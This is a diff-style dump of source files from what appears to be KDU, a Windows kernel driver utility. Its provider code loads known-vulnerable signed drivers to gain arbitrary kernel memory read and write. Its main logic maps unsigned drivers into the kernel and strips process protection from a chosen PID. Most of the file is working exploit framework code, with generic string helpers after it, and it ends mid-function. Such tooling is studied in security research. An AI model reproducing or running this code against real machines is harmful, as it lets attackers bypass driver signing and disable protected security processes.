||||
if (Context->DriverFileName == NULL) {
|
||||
supHeapFree(Context);
|
||||
Context = NULL;
|
||||
}
|
||||
else {
|
||||
|
||||
length = CurrentDirectory->Length / sizeof(WCHAR);
|
||||
|
||||
_strncpy(Context->DriverFileName,
|
||||
length,
|
||||
CurrentDirectory->Buffer,
|
||||
length);
|
||||
|
||||
_strcat(Context->DriverFileName, TEXT("\\"));
|
||||
_strcat(Context->DriverFileName, Context->Provider->DriverName);
|
||||
_strcat(Context->DriverFileName, TEXT(".sys"));
|
||||
|
||||
HANDLE deviceHandle = KDUProvStartVulnerableDriver(Context->Provider->ResourceId,
|
||||
Context->ModuleBase,
|
||||
Context->Provider->DriverName,
|
||||
Context->Provider->DeviceName,
|
||||
Context->DriverFileName);
|
||||
|
||||
if (deviceHandle) {
|
||||
Context->DeviceHandle = deviceHandle;
|
||||
|
||||
//
|
||||
// Register (unlock, send love letter, whatever this provider want first) driver.
|
||||
//
|
||||
if ((PVOID)Context->Provider->Callbacks.RegisterDriver != (PVOID)KDUProviderStub) {
|
||||
|
||||
if (!Context->Provider->Callbacks.RegisterDriver(deviceHandle))
|
||||
printf_s("[!] Coult not register driver, GetLastError %lu\r\n", GetLastError());
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
supHeapFree(Context->DriverFileName);
|
||||
supHeapFree(Context);
|
||||
Context = NULL;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
|
||||
|
||||
return Context;
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUProviderRelease
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Reelease Provider context, free resources and unload driver.
|
||||
*
|
||||
*/
|
||||
VOID WINAPI KDUProviderRelease(
|
||||
_In_ KDU_CONTEXT * Context)
|
||||
{
|
||||
if (Context) {
|
||||
|
||||
//
|
||||
// Unregister driver if supported.
|
||||
//
|
||||
if ((PVOID)Context->Provider->Callbacks.UnregisterDriver != (PVOID)KDUProviderStub) {
|
||||
Context->Provider->Callbacks.UnregisterDriver(Context->DeviceHandle);
|
||||
}
|
||||
|
||||
if (Context->DeviceHandle)
|
||||
NtClose(Context->DeviceHandle);
|
||||
|
||||
//
|
||||
// Unload driver.
|
||||
//
|
||||
KDUProvStopVulnerableDriver(Context->Provider->DriverName,
|
||||
Context->DriverFileName);
|
||||
|
||||
if (Context->DriverFileName)
|
||||
supHeapFree(Context->DriverFileName);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,171 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2014 - 2020 gruf0x
|
||||
*
|
||||
* TITLE: KDUPROV.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Provider support routines.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
#define KDU_PROVIDERS_MAX 2
|
||||
|
||||
#define KDU_PROVIDER_INTEL 0
|
||||
#define KDU_PROVIDER_RTCORE 1
|
||||
|
||||
#define KDU_PROVIDER_DEFAULT KDU_PROVIDER_INTEL
|
||||
|
||||
#define KDU_MAX_NTBUILDNUMBER 0xFFFFFFFF
|
||||
|
||||
//
|
||||
// Providers abstraction interface.
|
||||
//
|
||||
|
||||
//
|
||||
// Prototype for read kernel virtual memory function.
|
||||
//
|
||||
typedef BOOL(WINAPI* provReadKernelVM)(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR Address,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
//
|
||||
// Prototype for write kernel virtual memory function.
|
||||
//
|
||||
typedef BOOL(WINAPI* provWriteKernelVM)(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR Address,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
//
|
||||
// Prototype for virtual to physical address translation function.
|
||||
//
|
||||
typedef BOOL(WINAPI* provVirtualToPhysical)(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_ ULONG_PTR* PhysicalAddress);
|
||||
|
||||
//
|
||||
// Prototype for read physical memory function.
|
||||
//
|
||||
typedef BOOL(WINAPI* provReadPhysicalMemory)(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR PhysicalAddress,
|
||||
_In_ PVOID Buffer,
|
||||
_In_ ULONG BufferLength);
|
||||
|
||||
//
|
||||
// Prototype for write physical memory function.
|
||||
//
|
||||
typedef BOOL(WINAPI* provWritePhysicalMemory)(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
//
|
||||
// Prototype for read CR registers function.
|
||||
//
|
||||
typedef BOOL(WINAPI* provReadControlRegister)(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ UCHAR ControlRegister,
|
||||
_Out_ ULONG_PTR* Value);
|
||||
|
||||
//
|
||||
// Prototype for driver registering/unlocking function.
|
||||
//
|
||||
typedef BOOL(WINAPI* provRegisterDriver)(
|
||||
_In_ HANDLE DeviceHandle);
|
||||
|
||||
//
|
||||
// Prototype for driver unregistering function.
|
||||
//
|
||||
typedef BOOL(WINAPI* provUnregisterDriver)(
|
||||
_In_ HANDLE DeviceHandle);
|
||||
|
||||
typedef enum _KDU_ACTION_TYPE {
|
||||
ActionTypeMapDriver = 0,
|
||||
ActionTypeDKOM = 1,
|
||||
ActionTypeUnspecified = 2,
|
||||
ActionTypeMax
|
||||
} KDU_ACTION_TYPE;
|
||||
|
||||
typedef struct _KDU_PROVIDER {
|
||||
ULONG MaxNtBuildNumberSupport;
|
||||
ULONG ResourceId;
|
||||
ULONG HvciSupport;
|
||||
LPWSTR Desciption;
|
||||
LPWSTR DriverName; //only file name, e.g. PROCEXP152
|
||||
LPWSTR DeviceName; //device name, e.g. PROCEXP152
|
||||
struct {
|
||||
provReadKernelVM ReadKernelVM;
|
||||
provWriteKernelVM WriteKernelVM;
|
||||
provVirtualToPhysical VirtualToPhysical; //optional
|
||||
provReadControlRegister ReadControlRegister; //optional
|
||||
provReadPhysicalMemory ReadPhysicalMemory; //optional
|
||||
provWritePhysicalMemory WritePhysicalMemory; //optional
|
||||
provRegisterDriver RegisterDriver; //optional
|
||||
provUnregisterDriver UnregisterDriver; //optional
|
||||
} Callbacks;
|
||||
} KDU_PROVIDER, * PKDU_PROVIDER;
|
||||
|
||||
typedef struct _KDU_CONTEXT {
|
||||
ULONG HvciEnabled;
|
||||
ULONG NtBuildNumber;
|
||||
HINSTANCE ModuleBase;
|
||||
ULONG_PTR NtOsBase;
|
||||
HANDLE DeviceHandle;
|
||||
PWSTR DriverFileName; //full file name to the vulnerable driver
|
||||
ULONG_PTR MaximumUserModeAddress;
|
||||
PKDU_PROVIDER Provider;
|
||||
} KDU_CONTEXT, * PKDU_CONTEXT;
|
||||
|
||||
VOID KDUProvList();
|
||||
|
||||
BOOL WINAPI KDUProviderStub(
|
||||
VOID);
|
||||
|
||||
BOOL WINAPI KDUVirtualToPhysical(
|
||||
_In_ KDU_CONTEXT* Context,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_ ULONG_PTR* PhysicalAddress);
|
||||
|
||||
_Success_(return != FALSE)
|
||||
BOOL WINAPI KDUReadKernelVM(
|
||||
_In_ KDU_CONTEXT * Context,
|
||||
_In_ ULONG_PTR Address,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
_Success_(return != FALSE)
|
||||
BOOL WINAPI KDUWriteKernelVM(
|
||||
_In_ KDU_CONTEXT * Context,
|
||||
_In_ ULONG_PTR Address,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
BOOL WINAPI KDUProviderStub(
|
||||
VOID);
|
||||
|
||||
PKDU_CONTEXT WINAPI KDUProviderCreate(
|
||||
_In_ ULONG ProviderId,
|
||||
_In_ ULONG HvciEnabled,
|
||||
_In_ ULONG NtBuildNumber,
|
||||
_In_ HINSTANCE ModuleBase,
|
||||
_In_ KDU_ACTION_TYPE ActionType);
|
||||
|
||||
VOID WINAPI KDUProviderRelease(
|
||||
_In_ KDU_CONTEXT * Context);
|
|
@ -0,0 +1,272 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: MAIN.CPP
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Hamakaze main logic and entrypoint.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "global.h"
|
||||
|
||||
KDU_CONTEXT* g_ProvContext;
|
||||
|
||||
#pragma data_seg("iris")
|
||||
volatile LONG g_lApplicationInstances = 0;
|
||||
#pragma data_seg()
|
||||
#pragma comment(linker, "/Section:iris,RWS")
|
||||
|
||||
#define T_KDUUNSUP "[!] Unsupported WinNT version"
|
||||
#define T_KDURUN "[!] Another instance running, close it before"
|
||||
|
||||
#define CMD_PRV L"-prv"
|
||||
#define CMD_MAP L"-map"
|
||||
#define CMD_PS L"-ps"
|
||||
#define CMD_LIST L"-list"
|
||||
#define CMD_COMPRESS L"-compress"
|
||||
|
||||
#define T_KDUUSAGE "[?] No parameters specified, see Usage for help\r\n[?] Usage: kdu Mode [Provider][Command]\r\n\n"\
|
||||
"Parameters: \r\n"\
|
||||
"kdu -prv id - optional parameter, provider id, default 0\r\n"\
|
||||
"kdu -ps pid - disable ProtectedProcess for given pid\r\n"\
|
||||
"kdu -map filename - map driver to the kernel and execute it entry point\r\n"\
|
||||
"kdu -list - list available providers\r\n"
|
||||
|
||||
#define T_KDUINTRO "[+] Kernel Driver Utility v1.0.0 started, (c) 2020 KDU Project\r\n[+] Supported x64 OS: Windows 7 and above"
|
||||
#define T_PRNTDEFAULT "%s\r\n"
|
||||
|
||||
/*
|
||||
* KDUProcessCommandLine
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Parse command line and do stuff.
|
||||
*
|
||||
*/
|
||||
INT KDUProcessCommandLine(
|
||||
_In_ ULONG HvciEnabled,
|
||||
_In_ ULONG NtBuildNumber
|
||||
)
|
||||
{
|
||||
INT retVal = -1;
|
||||
ULONG providerId = KDU_PROVIDER_DEFAULT;
|
||||
WCHAR szParameter[MAX_PATH + 1];
|
||||
|
||||
HINSTANCE hInstance = GetModuleHandle(NULL);
|
||||
|
||||
printf_s("[>] Entering %s\r\n", __FUNCTION__);
|
||||
|
||||
RtlSecureZeroMemory(szParameter, sizeof(szParameter));
|
||||
|
||||
do {
|
||||
|
||||
//
|
||||
// List providers.
|
||||
//
|
||||
if (supGetCommandLineOption(CMD_LIST,
|
||||
FALSE,
|
||||
NULL,
|
||||
0))
|
||||
{
|
||||
KDUProvList();
|
||||
retVal = 0;
|
||||
break;
|
||||
}
|
||||
|
||||
if (supGetCommandLineOption(CMD_COMPRESS,
|
||||
TRUE,
|
||||
szParameter,
|
||||
sizeof(szParameter) / sizeof(WCHAR)))
|
||||
{
|
||||
KDUCompressResource(szParameter);
|
||||
retVal = 0;
|
||||
break;
|
||||
}
|
||||
|
||||
//
|
||||
// Select CVE provider.
|
||||
//
|
||||
if (supGetCommandLineOption(CMD_PRV,
|
||||
TRUE,
|
||||
szParameter,
|
||||
sizeof(szParameter) / sizeof(WCHAR)))
|
||||
{
|
||||
providerId = strtoul(szParameter);
|
||||
if (providerId >= KDU_PROVIDERS_MAX)
|
||||
providerId = KDU_PROVIDER_DEFAULT;
|
||||
}
|
||||
|
||||
//
|
||||
// Check if -map specified.
|
||||
//
|
||||
if (supGetCommandLineOption(CMD_MAP,
|
||||
TRUE,
|
||||
szParameter,
|
||||
sizeof(szParameter) / sizeof(WCHAR)))
|
||||
{
|
||||
//map driver
|
||||
if (RtlDoesFileExists_U(szParameter)) {
|
||||
|
||||
g_ProvContext = KDUProviderCreate(providerId,
|
||||
HvciEnabled,
|
||||
NtBuildNumber,
|
||||
hInstance,
|
||||
ActionTypeMapDriver);
|
||||
|
||||
if (g_ProvContext) {
|
||||
retVal = KDUMapDriver(g_ProvContext, szParameter);
|
||||
KDUProviderRelease(g_ProvContext);
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Input file not found\r\n");
|
||||
}
|
||||
}
|
||||
|
||||
else
|
||||
|
||||
//
|
||||
// Check if -ps specified.
|
||||
//
|
||||
if (supGetCommandLineOption(CMD_PS,
|
||||
TRUE,
|
||||
szParameter,
|
||||
sizeof(szParameter) / sizeof(WCHAR)))
|
||||
{
|
||||
g_ProvContext = KDUProviderCreate(providerId,
|
||||
HvciEnabled,
|
||||
NtBuildNumber,
|
||||
hInstance,
|
||||
ActionTypeDKOM);
|
||||
|
||||
if (g_ProvContext) {
|
||||
|
||||
if (KDUControlProcess(g_ProvContext, strtou64(szParameter)))
|
||||
retVal = 0;
|
||||
|
||||
KDUProviderRelease(g_ProvContext);
|
||||
}
|
||||
}
|
||||
|
||||
else {
|
||||
//
|
||||
// Nothing set, show help.
|
||||
//
|
||||
printf_s(T_PRNTDEFAULT, T_KDUUSAGE);
|
||||
}
|
||||
|
||||
} while (FALSE);
|
||||
|
||||
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
|
||||
return retVal;
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUMain
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* KDU main.
|
||||
*
|
||||
*/
|
||||
|
||||
int KDUMain()
|
||||
{
|
||||
LONG x = 0;
|
||||
INT iResult = -1;
|
||||
OSVERSIONINFO osv;
|
||||
|
||||
printf_s("[>] Entering %s\r\n", __FUNCTION__);
|
||||
|
||||
do {
|
||||
|
||||
x = InterlockedIncrement((PLONG)&g_lApplicationInstances);
|
||||
if (x > 1) {
|
||||
printf_s(T_PRNTDEFAULT, T_KDURUN);
|
||||
break;
|
||||
}
|
||||
|
||||
RtlSecureZeroMemory(&osv, sizeof(osv));
|
||||
osv.dwOSVersionInfoSize = sizeof(osv);
|
||||
RtlGetVersion((PRTL_OSVERSIONINFOW)&osv);
|
||||
if (osv.dwMajorVersion < 6) {
|
||||
printf_s(T_PRNTDEFAULT, T_KDUUNSUP);
|
||||
break;
|
||||
}
|
||||
|
||||
CHAR szVersion[100];
|
||||
|
||||
StringCchPrintfA(szVersion, 100,
|
||||
"[*] Windows version: %u.%u build %u",
|
||||
osv.dwMajorVersion,
|
||||
osv.dwMinorVersion,
|
||||
osv.dwBuildNumber);
|
||||
|
||||
printf_s(T_PRNTDEFAULT, szVersion);
|
||||
|
||||
BOOLEAN secureBoot;
|
||||
|
||||
if (supQuerySecureBootState(&secureBoot)) {
|
||||
printf_s("[*] SecureBoot is %s on this machine\r\n", secureBoot ? "enabled" : "disabled");
|
||||
}
|
||||
|
||||
BOOLEAN hvciEnabled;
|
||||
BOOLEAN hvciStrict;
|
||||
BOOLEAN hvciIUM;
|
||||
|
||||
//
|
||||
// Providers maybe *not* HVCI compatible.
|
||||
//
|
||||
if (supQueryHVCIState(&hvciEnabled, &hvciStrict, &hvciIUM)) {
|
||||
|
||||
if (hvciEnabled) {
|
||||
printf_s("[*] Windows HVCI mode detected\r\n");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
iResult = KDUProcessCommandLine(hvciEnabled, osv.dwBuildNumber);
|
||||
|
||||
} while (FALSE);
|
||||
|
||||
InterlockedDecrement((PLONG)&g_lApplicationInstances);
|
||||
|
||||
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
|
||||
|
||||
return iResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* main
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Program entry point.
|
||||
*
|
||||
*/
|
||||
int main()
|
||||
{
|
||||
HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0);
|
||||
|
||||
printf_s(T_PRNTDEFAULT, T_KDUINTRO);
|
||||
|
||||
int retVal = 0;
|
||||
|
||||
__try {
|
||||
retVal = KDUMain();
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
printf_s("[!] Unhandled exception 0x%lx\r\n", GetExceptionCode());
|
||||
}
|
||||
return retVal;
|
||||
}
|
|
@ -0,0 +1,186 @@
|
|||
#include <Windows.h>
|
||||
#include "minirtl.h"
|
||||
|
||||
char *_filename_a(const char *f)
|
||||
{
|
||||
char *p = (char *)f;
|
||||
|
||||
if (f == 0)
|
||||
return 0;
|
||||
|
||||
while (*f != (char)0) {
|
||||
if (*f == '\\')
|
||||
p = (char *)f + 1;
|
||||
f++;
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
wchar_t *_filename_w(const wchar_t *f)
|
||||
{
|
||||
wchar_t *p = (wchar_t *)f;
|
||||
|
||||
if (f == 0)
|
||||
return 0;
|
||||
|
||||
while (*f != (wchar_t)0) {
|
||||
if (*f == (wchar_t)'\\')
|
||||
p = (wchar_t *)f + 1;
|
||||
f++;
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
char *_fileext_a(const char *f)
|
||||
{
|
||||
char *p = 0;
|
||||
|
||||
if (f == 0)
|
||||
return 0;
|
||||
|
||||
while (*f != (char)0) {
|
||||
if (*f == '.')
|
||||
p = (char *)f;
|
||||
f++;
|
||||
}
|
||||
|
||||
if (p == 0)
|
||||
p = (char *)f;
|
||||
|
||||
return p;
|
||||
}
|
||||
|
||||
wchar_t *_fileext_w(const wchar_t *f)
|
||||
{
|
||||
wchar_t *p = 0;
|
||||
|
||||
if (f == 0)
|
||||
return 0;
|
||||
|
||||
while (*f != (wchar_t)0) {
|
||||
if (*f == (wchar_t)'.')
|
||||
p = (wchar_t *)f;
|
||||
f++;
|
||||
}
|
||||
|
||||
if (p == 0)
|
||||
p = (wchar_t *)f;
|
||||
|
||||
return p;
|
||||
}
|
||||
|
||||
char *_filename_noext_a(char *dest, const char *f)
|
||||
{
|
||||
char *p, *l, *dot;
|
||||
|
||||
if ((f == 0) || (dest == 0))
|
||||
return 0;
|
||||
|
||||
p = _filename_a(f);
|
||||
if (p == 0)
|
||||
return 0;
|
||||
|
||||
dot = _strend_a(p);
|
||||
if (dot == 0)
|
||||
return 0;
|
||||
|
||||
l = p;
|
||||
|
||||
while (*l != (char)0)
|
||||
{
|
||||
if (*l == '.')
|
||||
dot = l;
|
||||
l++;
|
||||
}
|
||||
|
||||
while (p<dot)
|
||||
{
|
||||
*dest = *p;
|
||||
p++;
|
||||
dest++;
|
||||
}
|
||||
|
||||
*dest = 0;
|
||||
return dest;
|
||||
}
|
||||
|
||||
wchar_t *_filename_noext_w(wchar_t *dest, const wchar_t *f)
|
||||
{
|
||||
wchar_t *p, *l, *dot;
|
||||
|
||||
if ((f == 0) || (dest == 0))
|
||||
return 0;
|
||||
|
||||
p = _filename_w(f);
|
||||
if (p == 0)
|
||||
return 0;
|
||||
|
||||
dot = _strend_w(p);
|
||||
if (dot == 0)
|
||||
return 0;
|
||||
|
||||
l = p;
|
||||
|
||||
while (*l != (wchar_t)0)
|
||||
{
|
||||
if (*l == (wchar_t)'.')
|
||||
dot = l;
|
||||
l++;
|
||||
}
|
||||
|
||||
while (p<dot)
|
||||
{
|
||||
*dest = *p;
|
||||
p++;
|
||||
dest++;
|
||||
}
|
||||
|
||||
*dest = 0;
|
||||
return dest;
|
||||
}
|
||||
|
||||
char *_filepath_a(const char *fname, char *fpath)
|
||||
{
|
||||
char *p = (char *)fname, *p0 = (char*)fname, *p1 = (char*)fpath;
|
||||
|
||||
if ((fname == 0) || (fpath == NULL))
|
||||
return 0;
|
||||
|
||||
while (*fname != (char)0) {
|
||||
if (*fname == '\\')
|
||||
p = (char *)fname + 1;
|
||||
fname++;
|
||||
}
|
||||
|
||||
while (p0 < p) {
|
||||
*p1 = *p0;
|
||||
p1++;
|
||||
p0++;
|
||||
}
|
||||
*p1 = 0;
|
||||
|
||||
return fpath;
|
||||
}
|
||||
|
||||
wchar_t *_filepath_w(const wchar_t *fname, wchar_t *fpath)
|
||||
{
|
||||
wchar_t *p = (wchar_t *)fname, *p0 = (wchar_t*)fname, *p1 = (wchar_t*)fpath;
|
||||
|
||||
if ((fname == 0) || (fpath == NULL))
|
||||
return 0;
|
||||
|
||||
while (*fname != (wchar_t)0) {
|
||||
if (*fname == '\\')
|
||||
p = (wchar_t *)fname + 1;
|
||||
fname++;
|
||||
}
|
||||
|
||||
while (p0 < p) {
|
||||
*p1 = *p0;
|
||||
p1++;
|
||||
p0++;
|
||||
}
|
||||
*p1 = 0;
|
||||
|
||||
return fpath;
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
#pragma once
|
||||
|
||||
#ifndef _FILENAMEH_
|
||||
#define _FILENAMEH_
|
||||
|
||||
char *_filename_a(const char *f);
|
||||
wchar_t *_filename_w(const wchar_t *f);
|
||||
char *_fileext_a(const char *f);
|
||||
wchar_t *_fileext_w(const wchar_t *f);
|
||||
char *_filename_noext_a(char *dest, const char *f);
|
||||
wchar_t *_filename_noext_w(wchar_t *dest, const wchar_t *f);
|
||||
char *_filepath_a(const char *fname, char *fpath);
|
||||
wchar_t *_filepath_w(const wchar_t *fname, wchar_t *fpath);
|
||||
|
||||
#ifdef UNICODE
|
||||
#define _filename _filename_w
|
||||
#define _fileext _fileext_w
|
||||
#define _filepath _filepath_w
|
||||
#define _filename_noext _filename_noext_w
|
||||
#else // ANSI
|
||||
#define _filename _filename_a
|
||||
#define _fileext _fileext_a
|
||||
#define _filepath _filepath_a
|
||||
#define _filename_noext _filename_noext_a
|
||||
#endif
|
||||
|
||||
#endif /* _FILENAMEH_ */
|
|
@ -0,0 +1,37 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
char *_strcat_a(char *dest, const char *src)
|
||||
{
|
||||
if ( (dest==0) || (src==0) )
|
||||
return dest;
|
||||
|
||||
while ( *dest!=0 )
|
||||
dest++;
|
||||
|
||||
while ( *src!=0 ) {
|
||||
*dest = *src;
|
||||
dest++;
|
||||
src++;
|
||||
}
|
||||
|
||||
*dest = 0;
|
||||
return dest;
|
||||
}
|
||||
|
||||
wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src)
|
||||
{
|
||||
if ( (dest==0) || (src==0) )
|
||||
return dest;
|
||||
|
||||
while ( *dest!=0 )
|
||||
dest++;
|
||||
|
||||
while ( *src!=0 ) {
|
||||
*dest = *src;
|
||||
dest++;
|
||||
src++;
|
||||
}
|
||||
|
||||
*dest = 0;
|
||||
return dest;
|
||||
}
|
|
@ -0,0 +1,47 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
int _strcmp_a(const char *s1, const char *s2)
|
||||
{
|
||||
char c1, c2;
|
||||
|
||||
if ( s1==s2 )
|
||||
return 0;
|
||||
|
||||
if ( s1==0 )
|
||||
return -1;
|
||||
|
||||
if ( s2==0 )
|
||||
return 1;
|
||||
|
||||
do {
|
||||
c1 = *s1;
|
||||
c2 = *s2;
|
||||
s1++;
|
||||
s2++;
|
||||
} while ( (c1 != 0) && (c1 == c2) );
|
||||
|
||||
return (int)(c1 - c2);
|
||||
}
|
||||
|
||||
int _strcmp_w(const wchar_t *s1, const wchar_t *s2)
|
||||
{
|
||||
wchar_t c1, c2;
|
||||
|
||||
if ( s1==s2 )
|
||||
return 0;
|
||||
|
||||
if ( s1==0 )
|
||||
return -1;
|
||||
|
||||
if ( s2==0 )
|
||||
return 1;
|
||||
|
||||
do {
|
||||
c1 = *s1;
|
||||
c2 = *s2;
|
||||
s1++;
|
||||
s2++;
|
||||
} while ( (c1 != 0) && (c1 == c2) );
|
||||
|
||||
return (int)(c1 - c2);
|
||||
}
|
|
@ -0,0 +1,47 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
int _strcmpi_a(const char *s1, const char *s2)
|
||||
{
|
||||
char c1, c2;
|
||||
|
||||
if ( s1==s2 )
|
||||
return 0;
|
||||
|
||||
if ( s1==0 )
|
||||
return -1;
|
||||
|
||||
if ( s2==0 )
|
||||
return 1;
|
||||
|
||||
do {
|
||||
c1 = locase_a(*s1);
|
||||
c2 = locase_a(*s2);
|
||||
s1++;
|
||||
s2++;
|
||||
} while ( (c1 != 0) && (c1 == c2) );
|
||||
|
||||
return (int)(c1 - c2);
|
||||
}
|
||||
|
||||
int _strcmpi_w(const wchar_t *s1, const wchar_t *s2)
|
||||
{
|
||||
wchar_t c1, c2;
|
||||
|
||||
if ( s1==s2 )
|
||||
return 0;
|
||||
|
||||
if ( s1==0 )
|
||||
return -1;
|
||||
|
||||
if ( s2==0 )
|
||||
return 1;
|
||||
|
||||
do {
|
||||
c1 = locase_w(*s1);
|
||||
c2 = locase_w(*s2);
|
||||
s1++;
|
||||
s2++;
|
||||
} while ( (c1 != 0) && (c1 == c2) );
|
||||
|
||||
return (int)(c1 - c2);
|
||||
}
|
|
@ -0,0 +1,43 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
char *_strcpy_a(char *dest, const char *src)
|
||||
{
|
||||
char *p;
|
||||
|
||||
if ( (dest==0) || (src==0) )
|
||||
return dest;
|
||||
|
||||
if (dest == src)
|
||||
return dest;
|
||||
|
||||
p = dest;
|
||||
while ( *src!=0 ) {
|
||||
*p = *src;
|
||||
p++;
|
||||
src++;
|
||||
}
|
||||
|
||||
*p = 0;
|
||||
return dest;
|
||||
}
|
||||
|
||||
wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src)
|
||||
{
|
||||
wchar_t *p;
|
||||
|
||||
if ((dest == 0) || (src == 0))
|
||||
return dest;
|
||||
|
||||
if (dest == src)
|
||||
return dest;
|
||||
|
||||
p = dest;
|
||||
while ( *src!=0 ) {
|
||||
*p = *src;
|
||||
p++;
|
||||
src++;
|
||||
}
|
||||
|
||||
*p = 0;
|
||||
return dest;
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
char *_strend_a(const char *s)
|
||||
{
|
||||
if ( s==0 )
|
||||
return 0;
|
||||
|
||||
while ( *s!=0 )
|
||||
s++;
|
||||
|
||||
return (char *)s;
|
||||
}
|
||||
|
||||
wchar_t *_strend_w(const wchar_t *s)
|
||||
{
|
||||
if ( s==0 )
|
||||
return 0;
|
||||
|
||||
while ( *s!=0 )
|
||||
s++;
|
||||
|
||||
return (wchar_t *)s;
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
size_t _strlen_a(const char *s)
|
||||
{
|
||||
char *s0 = (char *)s;
|
||||
|
||||
if ( s==0 )
|
||||
return 0;
|
||||
|
||||
while ( *s!=0 )
|
||||
s++;
|
||||
|
||||
return (s-s0);
|
||||
}
|
||||
|
||||
size_t _strlen_w(const wchar_t *s)
|
||||
{
|
||||
wchar_t *s0 = (wchar_t *)s;
|
||||
|
||||
if ( s==0 )
|
||||
return 0;
|
||||
|
||||
while ( *s!=0 )
|
||||
s++;
|
||||
|
||||
return (s-s0);
|
||||
}
|
|
@ -0,0 +1,45 @@
|
|||
#include "rtltypes.h"
|
||||
|
||||
char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc)
|
||||
{
|
||||
char *p;
|
||||
|
||||
if ( (dest==0) || (src==0) || (ccdest==0) )
|
||||
return dest;
|
||||
|
||||
ccdest--;
|
||||
p = dest;
|
||||
|
||||
while ( (*src!=0) && (ccdest>0) && (ccsrc>0) ) {
|
||||
*p = *src;
|
||||
p++;
|
||||
src++;
|
||||
ccdest--;
|
||||
ccsrc--;
|
||||
}
|
||||
|
||||
*p = 0;
|
||||
return dest;
|
||||
}
|
||||
|
||||
wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc)
|
||||
{
|
||||
wchar_t *p;
|
||||
|
||||
if ( (dest==0) || (src==0) || (ccdest==0) )
|
||||
return dest;
|
||||
|
||||
ccdest--;
|
||||
p = dest;
|
||||
|
||||
while ( (*src!=0) && (ccdest>0) && (ccsrc>0) ) {
|
||||
*p = *src;
|
||||
p++;
|
||||
src++;
|
||||
ccdest--;
|
||||
ccsrc--;
|
||||
}
|
||||
|
||||
*p = 0;
|
||||
return dest;
|
||||
}
|
|
@ -0,0 +1,180 @@
|
|||
#include <windows.h>
|
||||
|
||||
BOOL GetCommandLineParamW(
|
||||
IN LPCWSTR CmdLine,
|
||||
IN ULONG ParamIndex,
|
||||
OUT LPWSTR Buffer,
|
||||
IN ULONG BufferSize,
|
||||
OUT PULONG ParamLen
|
||||
)
|
||||
{
|
||||
ULONG c, plen = 0;
|
||||
TCHAR divider;
|
||||
|
||||
